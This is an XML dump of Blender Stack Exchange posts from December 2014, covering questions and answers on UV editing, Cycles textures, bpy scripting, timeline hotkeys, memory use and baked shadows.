  <row Id="20930" PostTypeId="2" ParentId="20850" CreationDate="2014-12-15T04:39:07.210" Score="6" Body="&lt;p&gt;If you want to know the directory of the currently-executing addon, try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import os&#xA;&#xA;script_file = os.path.realpath(__file__)&#xA;directory = os.path.dirname(script_file)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is especially useful if your addon is a Python package, because it tells you which is the relevant subdirectory.&lt;/p&gt;&#xA;" OwnerUserId="1146" LastActivityDate="2014-12-15T04:39:07.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20931" PostTypeId="1" CreationDate="2014-12-15T05:37:27.133" Score="1" ViewCount="54" Body="&lt;p&gt;When I &quot;play rendered animation&quot; the playback is hidden under the gui and I have to minimize the entire gui to view it.  It doesn't matter which display option I choose in the render panel.  Single frame renders display correctly in whatever display option is selected.  Macbook Pro retina with Mavericks 10.9.4.  Can't figure this one out!!&lt;/p&gt;&#xA;" OwnerUserId="9505" LastActivityDate="2014-12-15T05:37:27.133" Title="animation render playback hidden on OS X" Tags="&lt;animation&gt;&lt;osx&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-12-15T07:33:34.213" ContentLicense="CC BY-SA 3.0" />
  <row Id="20932" PostTypeId="1" CreationDate="2014-12-15T06:44:39.963" Score="2" ViewCount="3124" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y6Rd8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like the snapshot shown above, I have a selected UV map I wish to align to my texture. The only way I know is to adjust the UV Vertex configuration (located on top right UV editor view) by dragging mouse over it. Doing so makes the process very slow and inaccurate. It will really help speed up this tedious process if I can just pan it with direct mouse control like I do as I would move objects. Is such control possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="9506" LastActivityDate="2017-11-20T10:08:00.973" Title="How to pan UV map with mouse movement in UV Editor" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20933" PostTypeId="2" ParentId="20932" CreationDate="2014-12-15T07:05:30.677" Score="4" Body="&lt;p&gt;The function I am looking for is &lt;em&gt;translate&lt;/em&gt;, found on the left toolbox panel, keyboard shortcut is &lt;kbd&gt;G&lt;/kbd&gt;. &lt;/p&gt;&#xA;" OwnerUserId="9506" LastEditorUserId="5705" LastEditDate="2014-12-15T18:09:42.877" LastActivityDate="2014-12-15T18:09:42.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20934" PostTypeId="2" ParentId="20932" CreationDate="2014-12-15T07:26:29.197" Score="6" Body="&lt;p&gt;You can pan around the UV Editor(and any other 2D view) with the Middle Mouse Button.&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-12-15T07:26:29.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20936" PostTypeId="2" ParentId="20912" CreationDate="2014-12-15T08:51:35.597" Score="0" Body="&lt;p&gt;You can use bone constraints to limit bones rotations (and other things) in pose mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the wiki on &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Constraints/Transform/Limit_Rotation&quot; rel=&quot;nofollow noreferrer&quot;&gt;rotation limiting&lt;/a&gt;.&#xA;The settings depend on actual bone setup and what the bone roll values are. Sometimes the bone roll needs to be also adjusted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will allow only rotation in local Z axis:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5my6W.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The range of motion can also be adjusted by setting the angle limits for appropriate axises.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2014-12-21T13:34:35.283" LastActivityDate="2014-12-21T13:34:35.283" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20937" PostTypeId="1" CreationDate="2014-12-15T10:48:25.703" Score="0" ViewCount="577" Body="&lt;p&gt;I'm trying to get a bitmap text centered in my game.&#xA;The text is generated at start, so I wan't to scale &amp;amp; translate it based in its dimensions after the text has been set. This my current code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;text = str(scenesInfo[i][1])&#xA;tempBotonText['Text'] = text&#xA;textScaleX = 1/len(text)&#xA;tempBotonText.localScale[0] *= textScaleX&#xA;tempBotonText.localPosition[0] -=len(texto)  * 0.008&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But as you can see, the number I am using in the translation is just a guess, and it doesn't work well with any length.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can know the dimensions of the text (it is a bitmap text) after its creation?&lt;/p&gt;&#xA;" OwnerUserId="154" LastEditorUserId="7777" LastEditDate="2014-12-15T11:13:35.740" LastActivityDate="2014-12-15T11:13:35.740" Title="Center text in Game engine with python" Tags="&lt;game-engine&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20939" PostTypeId="1" AcceptedAnswerId="20940" CreationDate="2014-12-15T13:43:16.410" Score="6" ViewCount="4075" Body="&lt;p&gt;I'd like to add color to a 'wave' procedural texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other procedural textures come with color options (like cheker e.g.) but this one doesn't.&#xA;I am new to the Cycles rendering engine and I don't know how to use nodes or combine them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to mix this with another shader so i get a colored procedural texture? &lt;/p&gt;&#xA;" OwnerUserId="1867" LastActivityDate="2014-12-15T13:50:45.637" Title="how to color in 'wave' procedural texture (cycles)" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20940" PostTypeId="2" ParentId="20939" CreationDate="2014-12-15T13:50:45.637" Score="13" Body="&lt;p&gt;You can do this by putting the &lt;code&gt;Color&lt;/code&gt; or &lt;code&gt;Fac&lt;/code&gt; output of the texture through a &lt;code&gt;Color Ramp Node&lt;/code&gt; and adjusting the colors and positions of the markers. This works both for &lt;strong&gt;Cycles&lt;/strong&gt; and &lt;strong&gt;Blender Render&lt;/strong&gt;&#xA;&lt;em&gt;Cycles&lt;/em&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/xBA0K.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;em&gt;Blender Render&lt;/em&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/HdlqV.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2617" LastActivityDate="2014-12-15T13:50:45.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20941" PostTypeId="1" AcceptedAnswerId="20942" CreationDate="2014-12-14T16:57:26.190" Score="3" ViewCount="2510" Body="&lt;p&gt;I'm making a sun and I would like it to be a mix of colors - such that every face has a different color, like on a ColorRamp. So, I want the final thing instead of just being a flat orange color to also have some reds and yellows merging in with the orange so it's an array of different colors. How can I do this in Cycles, by using the node editor?&lt;/p&gt;&#xA;" OwnerUserId="9711" OwnerDisplayName="Chickenator" LastEditorUserId="3078" LastEditDate="2014-12-15T19:25:50.980" LastActivityDate="2014-12-15T19:25:50.980" Title="How can I give a single object multiple colors in cycles?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20942" PostTypeId="2" ParentId="20941" CreationDate="2014-12-15T10:19:59.950" Score="6" Body="&lt;p&gt;While you can assign a &lt;a href=&quot;https://blender.stackexchange.com/a/16398&quot;&gt;different material to each face&lt;/a&gt; on your model, I don't think that will give the result you want. I expect you want to use some noise to get colour variations, one way is to feed the noise into a colour ramp node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kt0By.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/t7ATK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are other noise textures such as wave, voronoi, musgrave or magic that can give varying results, you may even want to mix a couple together. Just experiment with the scale, distortion and detail values to get a variation that you like.&lt;/p&gt;&#xA;" OwnerUserId="935" OwnerDisplayName="sambler" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2014-12-15T10:19:59.950" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20943" PostTypeId="1" AcceptedAnswerId="26438" CreationDate="2014-12-15T15:03:40.487" Score="3" ViewCount="3285" Body="&lt;p&gt;What process could be used to create a 2d image from blender that shows depth? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Example:&#xA;&lt;img src=&quot;https://i.imgur.com/cFRzJep.png?1&quot; alt=&quot;Fol Amor&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should a flat shader be modified to also show depth? Or is a flat shader combined with something like a depth pass to create this look? What would be the best way of making something with this effect?&lt;/p&gt;&#xA;" OwnerUserId="7524" LastActivityDate="2015-03-01T01:30:48.090" Title="Blender NPR: flat shader that shows depth?" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20944" PostTypeId="1" AcceptedAnswerId="20955" CreationDate="2014-12-15T15:25:54.927" Score="1" ViewCount="218" Body="&lt;p&gt;I want to align the 3D view like the menu item &quot;View/Align View/Center Cursor and View All&quot; does it, but with Python. If in &quot;Scripting&quot; layout this works fine with the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;override = {}&#xA;override['window'] = bpy.context.window&#xA;override['scene' ] = bpy.context.scene&#xA;override['screen'] = bpy.context.screen&#xA;override['area'  ] = bpy.context.screen.areas[2]&#xA;override['region'] = bpy.context.screen.areas[2].regions[4]&#xA;bpy.ops.view3d.view_all(override, center = True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it does not work if the view is in quadview mode; only the view in the lower left corner is aligned then.&#xA;I tried to replace the region line by&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;override['region'] = bpy.context.screen.areas[2].space.active.region_quadviews[x]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(x = 0..3) but this fails because the region_quadviews[x] are of type RegionView3D instead of type Region. Is it possible to get four regions of type Region of a quadview?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Strange: Clicking on the menu item shows the same behaviour, i. e. only the lower left view is aligned; but using the shortcut (Shift-C) aligns the view the mousepointer is over - this is my goal.&lt;/p&gt;&#xA;" OwnerUserId="8421" LastActivityDate="2014-12-15T19:06:17.267" Title="Align view in quadview mode" Tags="&lt;python&gt;&lt;3d-view&gt;&lt;operator&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20945" PostTypeId="1" AcceptedAnswerId="20947" CreationDate="2014-12-15T16:04:02.227" Score="8" ViewCount="2128" Body="&lt;p&gt;Blender has physics options which we can enable for our objects - cloth , fluid etc. Is there a way I can add a custom physical behavior to my objects, where this behavior is modeled as a python script. For example, I'd like to add a new button to the physics tab like &quot;My Physics&quot;, and when it is attached as a modifier to objects , the objects follow the behavior as modeled in the script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I want to test some physics algorithms and want to use blender for that. So I'd be relying on blender to do the rendering and other things, but the physics will be provided by my code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is something like this possible?&lt;/p&gt;&#xA;" OwnerUserId="8438" LastActivityDate="2014-12-15T17:52:54.257" Title="Create custom physics for an object with python" Tags="&lt;animation&gt;&lt;scripting&gt;&lt;game-engine&gt;&lt;physics&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20946" PostTypeId="1" AcceptedAnswerId="20948" CreationDate="2014-12-15T16:15:04.050" Score="10" ViewCount="8945" Body="&lt;p&gt;The other way to ask this question is, are Blender's memory limitations solely hardware related? Or, is there a point at which Blender will either crash or fail to use additional memory, even though there is more memory still available on the machine?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Speculation isn't useful, but anecdotal evidence is, i.e. &quot;I have 64GB of RAM and Blender has used all of it.&quot; Or &quot;I have 64GB of RAM and Blender crashed trying to render a scene that required 16GB.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even more useful than that is a software engineer's answer about how Blender actually works (not &lt;em&gt;should&lt;/em&gt; work, not &lt;em&gt;if it was coded the way I'd code it&lt;/em&gt;; what it actually does).&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2020-11-22T12:47:47.830" Title="Does Blender have a software-limited amount of RAM it can use?" Tags="&lt;memory-management&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20947" PostTypeId="2" ParentId="20945" CreationDate="2014-12-15T16:42:52.957" Score="9" Body="&lt;p&gt;Yes it is possible, there are 2 ways of doing this, but there are also 2 big drawbacks for both methods:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;method 1: You can script your own modifier in c++, here is how to &lt;a href=&quot;http://wiki.blender.org/index.php/User:Enjalot/Creating_a_custom_modifier&quot; rel=&quot;nofollow&quot;&gt;start&lt;/a&gt;. The drawback is you need to build your own Blender version yourself. Modifiers cannot be add with python or addons. If your modifier gets approved it can be added in the trunk (official release).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;method 2: You can add your physics simulation code in the &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_60_6/bpy.app.handlers.html&quot; rel=&quot;nofollow&quot;&gt;app handlers&lt;/a&gt;. This way your code gets executed for example every frame change. You can manipulate objects, change mesh etc. This will work from addon but the code will be very slow and you will unlikely get real-time fps.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2014-12-15T17:52:54.257" LastActivityDate="2014-12-15T17:52:54.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20948" PostTypeId="2" ParentId="20946" CreationDate="2014-12-15T17:25:29.153" Score="11" Body="&lt;p&gt;What is memory management (from &lt;a href=&quot;http://www.tutorialspoint.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.tutorialspoint.com/&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Memory management is the functionality of an operating system which handles or manages primary memory. Memory management keeps track of each and every memory location either it is allocated to some process or it is free. It checks how much memory is to be allocated to processes. It decides which process will get memory at what time. It tracks whenever some memory gets freed or unallocated and correspondingly it updates the status.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There is &lt;strong&gt;no software cap&lt;/strong&gt;. There can't be - it would have to be coded in for it to be. Blender will use all your RAM up to 16TB (64bit). Its up to the OS to provide the memory for blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a page file it starts at around 2 GB or 4 GB and windows expands the page file when needed. However, they might not be as fast as Blender requests more memory. If this happens, Windows does not allow Blender to get more RAM and causes an out of memory exception which crashes Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At that point the page file gets bigger and in second run of Blender its very likely everything will run/render without problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your OS fails to allocate some memory for Blender fast enough, Blender will crash.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="3401" LastEditDate="2015-12-22T17:45:02.927" LastActivityDate="2015-12-22T17:45:02.927" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20949" PostTypeId="1" CreationDate="2014-12-15T17:25:53.133" Score="3" ViewCount="202" Body="&lt;p&gt;I'd like to write a plug-in to accomplish something for my job, and I'm trying to figure out if the licensing options are such that I can convince management to let me do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My company would want to be able to distribute the plug-in to collaborators, while preventing its further distribution. There are two things I'm considering: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Potential clients getting a free copy (I'm not &lt;em&gt;too&lt;/em&gt; concerned about this)&lt;/li&gt;&#xA;&lt;li&gt;Our competitors getting a copy and using &lt;em&gt;our own&lt;/em&gt; software elbow us out of potential clients - this, I'd like to prevent&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://www.blender.org/support/faq/&quot; rel=&quot;nofollow&quot;&gt;&quot;Can I sell plug-ins for Blender&quot; section of the FAQ&lt;/a&gt; notes that selling plugins is OK, provided they're GPL'd. This seems to me like a &quot;one time sale&quot; situation. In other words, why would a second client ever buy the plug-in, if they could just get it for free from the first?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to license a plugin such that we can feel comfortable letting our collaborators use it, while at same time as preventing the opportunity for competitors to use it against us?&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="55" LastEditDate="2014-12-16T00:13:44.470" LastActivityDate="2014-12-16T00:13:44.470" Title="Plugin Licences" Tags="&lt;add-on&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2014-12-16T00:10:39.083" ContentLicense="CC BY-SA 3.0" />
  <row Id="20951" PostTypeId="2" ParentId="18535" CreationDate="2014-12-15T18:08:27.683" Score="1" Body="&lt;p&gt;Blender's Python API currently doesn't expose access to the pixel value of render passes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(You can access image pixels but renders's are a more complex structure).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However since you mention you need to store the values in a file, just save the OpenEXR file, this will store the values in a file.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-12-15T18:08:27.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20952" PostTypeId="1" AcceptedAnswerId="20953" CreationDate="2014-12-15T18:29:37.293" Score="30" ViewCount="18664" Body="&lt;p&gt;I am looking for a way to move the timeline a specific amount, scroll, etc. even if the &lt;em&gt;Timeline&lt;/em&gt; window is not open. Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="55" LastEditDate="2016-02-24T19:27:48.140" LastActivityDate="2016-09-20T14:46:42.573" Title="What are the hotkeys to navigate the timeline?" Tags="&lt;shortcut&gt;&lt;keyframes&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="20953" PostTypeId="2" ParentId="20952" CreationDate="2014-12-15T18:34:53.360" Score="48" Body="&lt;p&gt;&lt;kbd&gt;→&lt;/kbd&gt; 1 frame forward&lt;br&gt;&#xA;&lt;kbd&gt;←&lt;/kbd&gt; 1 frame backward&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;→&lt;/kbd&gt; end frame&lt;br&gt;&#xA;&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;←&lt;/kbd&gt; start frame&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;↑&lt;/kbd&gt; next keyframe &lt;br&gt; &#xA;&lt;kbd&gt;↓&lt;/kbd&gt; previous keyframe  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;&amp;#8594;&lt;/kbd&gt; next marker&lt;br&gt;&#xA;&lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;&amp;#8592;&lt;/kbd&gt;  previous marker  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;↑&lt;/kbd&gt; 10 frames forward&lt;br&gt;&#xA;&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;↓&lt;/kbd&gt; 10 frames back&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="599" LastEditDate="2015-07-28T19:23:53.403" LastActivityDate="2015-07-28T19:23:53.403" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20955" PostTypeId="2" ParentId="20944" CreationDate="2014-12-15T19:06:17.267" Score="0" Body="&lt;pre&gt;&lt;code&gt;import bpy&#xA;override = {}&#xA;override['window'] = bpy.context.window&#xA;override['scene' ] = bpy.context.scene&#xA;override['screen'] = bpy.context.screen&#xA;override['area'  ] = bpy.context.screen.areas[2]&#xA;&#xA;for region in [r for r in bpy.context.screen.areas[2].regions if r.type == 'WINDOW']:&#xA;    override['region'] = region&#xA;    bpy.ops.view3d.view_all(override, center=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2014-12-15T19:06:17.267" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20956" PostTypeId="1" AcceptedAnswerId="21018" CreationDate="2014-12-15T19:44:58.357" Score="9" ViewCount="11850" Body="&lt;p&gt;Is there a way in Blender to check a mesh for missing or duplicate faces, mesh abnormalities, or other issues that might cause problems when it is exported and used as data for a real-time application such as a game?&lt;/p&gt;&#xA;" OwnerUserId="1699" LastEditorUserId="328" LastEditDate="2014-12-17T05:13:42.060" LastActivityDate="2020-01-12T07:12:19.227" Title="Is there a way to check a mesh for problems?" Tags="&lt;mesh&gt;&lt;export&gt;&lt;vertices&gt;" AnswerCount="5" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20957" PostTypeId="2" ParentId="64" CreationDate="2014-12-15T20:07:17.910" Score="12" Body="&lt;p&gt;Here is another example for a lake water with very deep and strong reflection;&#xA;Nodes:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/1ouMP.png&quot; alt=&quot;Nodes&quot;&gt;&#xA;Result:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/5FY3q.png&quot; alt=&quot;result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did not let it render much samples(only 3) so the image is low quality, but you can see so water shader looks amazing;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this answer helps you to make lakes and rivers;)&lt;/p&gt;&#xA;" OwnerUserId="8363" LastActivityDate="2014-12-15T20:07:17.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20958" PostTypeId="2" ParentId="19618" CreationDate="2014-12-15T21:20:54.370" Score="1" Body="&lt;p&gt;No. Unless you want to multiply the number of frames with the speed per frame of the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can, however, use the &lt;code&gt;Near&lt;/code&gt; sensor for this effect. For more details on how to do this, please add some more info on what you want to do.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2014-12-15T21:20:54.370" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20959" PostTypeId="2" ParentId="18882" CreationDate="2014-12-15T23:06:19.157" Score="3" Body="&lt;p&gt;You can render straight to a panorama/full dome image from Cycles by simply adjusting the camera type to Panoramic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OiBEV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can UV map the rendered image onto a sphere in the BGE and use a mouse-look controller to allow the player to look around it.&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-12-15T23:06:19.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20960" PostTypeId="2" ParentId="19627" CreationDate="2014-12-15T23:20:28.963" Score="2" Body="&lt;p&gt;From my own experience with Blender 2.72, even if it is threaded, it is not very good at utilizing more than 2 cores.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also done some benchmark on sequencer performance here: &lt;a href=&quot;https://blender.stackexchange.com/a/18794/2217&quot;&gt;Render times for standard non-3d video&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="41" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2015-01-08T00:46:14.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20961" PostTypeId="2" ParentId="19613" CreationDate="2014-12-15T23:22:34.363" Score="3" Body="&lt;p&gt;Use the 'Texture Atlas' addon. It comes with Blender 2.7 or higher and can be enabled in the preference panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once enabled, you can access it from the Render Panel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Rk2gU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-12-15T23:22:34.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20962" PostTypeId="2" ParentId="19477" CreationDate="2014-12-15T23:29:54.090" Score="3" Body="&lt;p&gt;You can edit the file path of the Sound Datablock (and any external file) using the Outliner:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/D1NDr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;From the header, make sure the outliner is set to display '&lt;strong&gt;Datablocks&lt;/strong&gt;'.&lt;/li&gt;&#xA;&lt;li&gt;Browser to the &lt;strong&gt;Sounds&lt;/strong&gt; section and find the sound datablock you want to edit.&lt;/li&gt;&#xA;&lt;li&gt;Expand the RNA and modify the &lt;strong&gt;File Path&lt;/strong&gt; string as required.&lt;/li&gt;&#xA;&lt;li&gt;You might have to restart Blender to force a reload.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-12-15T23:29:54.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20963" PostTypeId="1" CreationDate="2014-12-16T00:05:41.703" Score="1" ViewCount="1209" Body="&lt;p&gt;Sorry if there is an obvious answer to this question; I haven't done any video editing ever so I'm struggling with something; How should I set up my output and encoding preferences? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was tasked with cutting and merging different video files for my brother; he wants to create a DVD with some old family footage. I've already have all the audio and video strips set up the way I want them to playback. I'm just having issues figuring out what file format will work on a writable DVD disc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I want the quality to remain relatively high (as high as possible since the footage is already sorta bad from being a bit old).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="9520" LastActivityDate="2014-12-16T01:04:35.520" Title="Creating a Video for DVD" Tags="&lt;video&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2014-12-16T00:48:13.327" ContentLicense="CC BY-SA 3.0" />
  <row Id="20965" PostTypeId="1" CreationDate="2014-12-16T00:07:01.333" Score="5" ViewCount="973" Body="&lt;p&gt;I have a scene with objects and lighting, and all the objects have textures/shadows/etc... baked via cycles. For example, the ground plane texture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MMgOX.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I can set all the objects with their baked textures as shadeless and they look fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TcxWr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I can't get the player object to cast shadows (using the same spot light).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7FAeu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand shadeless essentially turns off shadows, but &lt;strong&gt;I need some way to turn off all shadows except shadows emitted by the player object. Is there a way to do that?&lt;/strong&gt; I am trying to achieve real time shadows from a player in a baked environment. Seems like it should be possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I've tried&lt;/strong&gt; a ton of the checkboxes and sliders in the materials panel (like &lt;code&gt;Shadows Only&lt;/code&gt; and &lt;code&gt;Alpha Blend&lt;/code&gt;) but to no avail.&lt;/p&gt;&#xA;" OwnerUserId="8281" LastEditorUserId="8281" LastEditDate="2014-12-16T03:12:37.663" LastActivityDate="2015-02-06T16:04:57.430" Title="Casting shadows on baked objects" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
